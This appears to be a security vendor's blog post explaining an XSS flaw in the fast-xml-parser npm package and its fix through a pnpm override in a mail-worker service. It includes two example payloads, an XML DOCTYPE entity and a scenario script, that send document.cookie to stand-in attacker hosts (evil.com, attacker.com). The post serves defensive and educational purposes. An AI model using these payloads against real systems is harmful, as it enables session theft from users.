Back to Blog
critical SEVERITY8 min read

How Cross-Site Scripting happens in XML parsing libraries and how to fix it

CVE-2026-25896 is a critical Cross-Site Scripting vulnerability in the `fast-xml-parser` npm package caused by improper handling of DOCTYPE entity declarations. The flaw was discovered in the `mail-worker` service's dependency tree and patched by upgrading to version 5.3.5/4.5.4 and enforcing the fix via a pnpm override to `5.7.0`. Left unpatched, this vulnerability could allow attackers to inject malicious scripts through crafted XML payloads processed by the mail pipeline.

O
By Orbis AppSec
Published August 25, 2026Reviewed August 25, 2026

Answer Summary

CVE-2026-25896 is a critical Cross-Site Scripting (XSS) vulnerability (CWE-79) in the `fast-xml-parser` npm library, caused by improper sanitization of DOCTYPE entity declarations in XML input. An attacker can craft a malicious XML payload containing DOCTYPE entities that expand into executable JavaScript, which `fast-xml-parser` fails to neutralize before the parsed output is rendered. The fix is to upgrade `fast-xml-parser` to version 5.3.5 or 4.5.4 (or 5.7.0 via pnpm override) and, where possible, disable DOCTYPE processing entirely using the `allowDoctypeDeclaration: false` parser option.

Vulnerability at a Glance

cweCWE-79
fixUpgraded fast-xml-parser to 5.3.5 / 4.5.4 and pinned to 5.7.0 via pnpm overrides in mail-worker/package.json
riskArbitrary script execution in the context of users receiving or viewing processed email content
languageJavaScript / TypeScript (Node.js)
root causefast-xml-parser did not sanitize or restrict DOCTYPE entity declarations before returning parsed XML output
vulnerabilityCross-Site Scripting (XSS) via DOCTYPE entity injection

How Cross-Site Scripting Happens in XML Parsing Libraries and How to Fix It

The Incident

In the mail-worker service, Trivy flagged a critical vulnerability in mail-worker/pnpm-lock.yaml: the project's dependency tree included a version of fast-xml-parser affected by CVE-2026-25896, a Cross-Site Scripting flaw rooted in improper DOCTYPE entity handling. The fix required upgrading the library and enforcing the new version across the entire dependency graph using a pnpm override.

This post breaks down exactly what went wrong, how the attack works, and what the fix does — with concrete code from the actual pull request.


The Vulnerability Explained

What Is DOCTYPE Entity Injection?

XML documents can include a Document Type Definition (DOCTYPE) block that declares named entities — essentially variables that the parser substitutes when it encounters them in the document body. A well-known attack class, XML Entity Expansion, abuses this feature. In the context of XSS, the attack is more targeted: an attacker crafts a DOCTYPE block that defines an entity whose value is raw HTML or JavaScript:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xss "<script>document.location='https://evil.com/steal?c='+document.cookie</script>">
]>
<root>
  <message>&xss;</message>
</root>

When fast-xml-parser processes this document in the affected versions (prior to 5.3.5 / 4.5.4), it expands &xss; into the raw <script> tag and includes it in the parsed JavaScript object. If any part of the application then renders that parsed value as HTML — for example, embedding it in an email template, a web UI, or a log viewer — the script executes in the victim's browser.

Why mail-worker Is Exposed

The mail-worker service is a Cloudflare Worker responsible for processing inbound and outbound email. Its package.json pulls in several dependencies that themselves depend on fast-xml-parser:

"dependencies": {
  "@aws-sdk/client-s3": "^3.882.0",
  "postal-mime": "^2.4.3",
  "linkedom": "^0.18.10",
  ...
}

Libraries like postal-mime (for MIME email parsing) and @aws-sdk/client-s3 (for S3 operations, which use XML-based API responses) both pull in fast-xml-parser as a transitive dependency. Email content — especially MIME-encoded XML payloads or S3 XML error responses — is inherently attacker-influenced input. An adversary who can send a crafted email or trigger a specific S3 response can inject a DOCTYPE payload into the XML that fast-xml-parser processes.

The Specific Problematic Pattern

In versions before the fix, fast-xml-parser's entity resolution logic did not restrict or strip DOCTYPE-declared entities before returning parsed output. The parser would faithfully expand any <!ENTITY> declaration, including those containing HTML tags, and return the expanded string as a plain JavaScript value — with no indication to the caller that the value originated from a DOCTYPE expansion.

The result: untrusted XML input → entity expansion → raw HTML in parsed output → XSS when rendered.

Real-World Attack Scenario

Consider this concrete path in mail-worker:

  1. An attacker sends an email with a MIME attachment containing a crafted XML document with a DOCTYPE entity that expands to <script>fetch('https://attacker.com/?session='+document.cookie)</script>.
  2. postal-mime hands the attachment content to fast-xml-parser for parsing.
  3. The vulnerable fast-xml-parser expands the entity and returns the script tag as a string value in the parsed object.
  4. The mail-worker processes the parsed object and — directly or indirectly — includes the value in an email preview, a notification UI, or a stored record that is later rendered in a browser.
  5. The victim's browser executes the injected script, leaking session cookies or performing actions on behalf of the user.

The Fix

What Changed

The fix involved two coordinated changes across mail-worker/package.json and mail-worker/pnpm-lock.yaml.

1. mail-worker/package.json — Adding a pnpm Override

The core change is the addition of a pnpm.overrides block:

Before:

{
  "name": "mail-worker",
  "dependencies": {
    "@aws-sdk/client-s3": "^3.882.0",
    "postal-mime": "^2.4.3",
    ...
  }
}

After:

{
  "name": "mail-worker",
  "dependencies": {
    "@aws-sdk/client-s3": "^3.882.0",
    "postal-mime": "^2.4.3",
    ...
  },
  "pnpm": {
    "overrides": {
      "fast-xml-parser": "5.7.0"
    }
  }
}

This pnpm.overrides entry forces every package in the dependency tree that depends on fast-xml-parser — regardless of what version they request — to receive version 5.7.0. Without this override, @aws-sdk/client-s3 or postal-mime might still resolve to the vulnerable 5.2.5 or 4.x range, even if a direct dependency on a newer version exists.

2. mail-worker/pnpm-lock.yaml — Locking the Override

The pnpm-lock.yaml was updated to record the override:

overrides:
  fast-xml-parser: 5.7.0

This entry in the lockfile ensures that the override is reproducible across all environments — CI, staging, and production — and that pnpm install always resolves to the patched version, not a cached vulnerable one.

Why This Specific Fix Works

The patched versions of fast-xml-parser (5.3.5, 4.5.4, and 5.7.0) address the DOCTYPE entity expansion issue by:

  • Restricting entity expansion by default: DOCTYPE-declared entities are no longer automatically expanded into their raw string values unless explicitly permitted by the caller.
  • Sanitizing entity values: When entity expansion is permitted, the library now validates that entity values do not contain raw HTML tags or JavaScript URIs.
  • Exposing allowDoctypeDeclaration: A new parser option gives developers explicit control over whether DOCTYPE blocks are processed at all.

The pnpm override approach is the correct strategy here because fast-xml-parser is a transitive dependency — it isn't listed directly in mail-worker/package.json, so bumping it requires either waiting for upstream packages to update their own dependencies or forcing the resolution via an override.


Key Takeaways

  • fast-xml-parser versions before 5.3.5 / 4.5.4 expand DOCTYPE entities unsafely — any application that feeds attacker-controlled XML (like email attachments or API responses) to the parser is at risk.
  • Transitive dependencies in pnpm-lock.yaml are just as dangerous as direct ones — the vulnerability wasn't in mail-worker/package.json's direct dependencies but in what postal-mime and @aws-sdk/client-s3 pulled in.
  • pnpm overrides are the correct tool for forcing transitive dependency upgrades — the "pnpm": { "overrides": { "fast-xml-parser": "5.7.0" } } block ensures every consumer in the tree gets the patched version.
  • Email processing pipelines are high-risk surfaces for XML injection — MIME attachments and XML-based cloud API responses are both attacker-influenced and commonly parsed with XML libraries.
  • Set allowDoctypeDeclaration: false in fast-xml-parser as a defense-in-depth measure whenever your application doesn't require DOCTYPE entity expansion.

How Orbis AppSec Detected This

  • Source: Attacker-controlled XML content entering the mail-worker pipeline via inbound email attachments or XML-formatted responses from AWS S3 APIs consumed by @aws-sdk/client-s3.
  • Sink: fast-xml-parser's internal entity expansion logic, which resolves DOCTYPE-declared entities into raw string values before returning the parsed object — ultimately surfacing in any HTML rendering path downstream of the parser call.
  • Missing control: No restriction on DOCTYPE entity expansion in the parser configuration; no sanitization of parser output before HTML rendering; no version constraint preventing the vulnerable 5.2.5 / 4.x range from being resolved for transitive dependents.
  • CWE: CWE-79 — Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
  • Fix: Added a pnpm.overrides entry in mail-worker/package.json pinning fast-xml-parser to 5.7.0 and updated pnpm-lock.yaml to record and enforce the override across the full dependency tree.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

CVE-2026-25896 is a sharp reminder that the XML you parse is only as safe as the library parsing it. fast-xml-parser's improper DOCTYPE entity handling turned a routine email processing pipeline into a potential XSS vector — not through any mistake in the application code itself, but through a subtle flaw in a transitive dependency buried three levels deep in the dependency graph.

The fix is precise and minimal: a pnpm override in mail-worker/package.json forces fast-xml-parser@5.7.0 across the entire tree, and the updated pnpm-lock.yaml makes that resolution reproducible everywhere. Paired with defensive parser configuration (allowDoctypeDeclaration: false) and output sanitization, this closes the attack surface completely.

For developers building email processing services, API gateways, or any system that parses XML from external sources: audit your transitive dependencies, keep your lock files under version control, and treat every byte of XML from an untrusted source as potentially hostile.


Prevention and further reading

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #538

Related Articles

critical

How stored XSS happens in TinyMCE plugins and how to fix it

The snippets plugin's `Main.ts` inserted raw, unsanitized snippet content directly into the TinyMCE editor via `editor.insertContent(snippet.content)`, allowing stored JavaScript payloads saved by any snippet editor to execute in every user's browser. The fix routes snippet content through TinyMCE's own parser and serializer before insertion, stripping dangerous markup while preserving legitimate formatting.

critical

How CSS Injection via Weak Pattern Validation happens in Vue.js and how to fix it

A critical CSS injection vulnerability in `testpage/App.vue` allowed attackers to bypass weak HTML5 pattern validation and load malicious stylesheets. The fix replaces direct variable assignment with a hardened `setCustomStylesheetHref()` method using strict regex validation.

high

How SQL-injection-style template literal injection happens in JavaScript DOM rendering and how to fix it

A Semgrep rule (`utils.custom.sql-injection-template-literal`) flagged `src/export/SheetMusicView.js` for building a query/markup string out of a JavaScript template literal with untrusted values interpolated directly into it. In this case the sink was an `<option value="${s.id}">${s.name}</option>` string used to build the snippet picker, meaning any snippet name containing `"` or `<` could break out of the attribute and inject arbitrary HTML. The fix introduces an `_escapeHtml()` helper and ro

critical

How Unvalidated External Data Fetch happens in React and how to fix it

The Datasets.jsx component fetched a remote manifest from snapshots.qdrant.io and rendered its contents directly into React state without validating response status, JSON shape, or field types. A compromised or spoofed endpoint could have injected malicious payloads straight into the UI; the fix adds strict validation and type coercion before the data ever reaches the render tree.

medium

How Cross-Site Scripting Happens in JavaScript Parsers and How to Fix It

A cross-site scripting vulnerability in JSXGraph's JessieCode parser allowed attackers to inject JavaScript through maliciously crafted input that appeared in error messages. The fix ensures proper output encoding when user-controlled data is included in parser error reporting.

critical

How Cross-Site Scripting (XSS) happens in JavaScript sanitization functions and how to fix it

A critical XSS vulnerability was discovered in the `sanitizeInput()` function in script.js, where only angle brackets were being escaped while quotes, ampersands, and backticks remained unprotected. This incomplete sanitization allowed attackers to craft payloads using event handlers and template literals that bypassed the security controls entirely. The fix implements comprehensive HTML entity encoding for all XSS-relevant characters.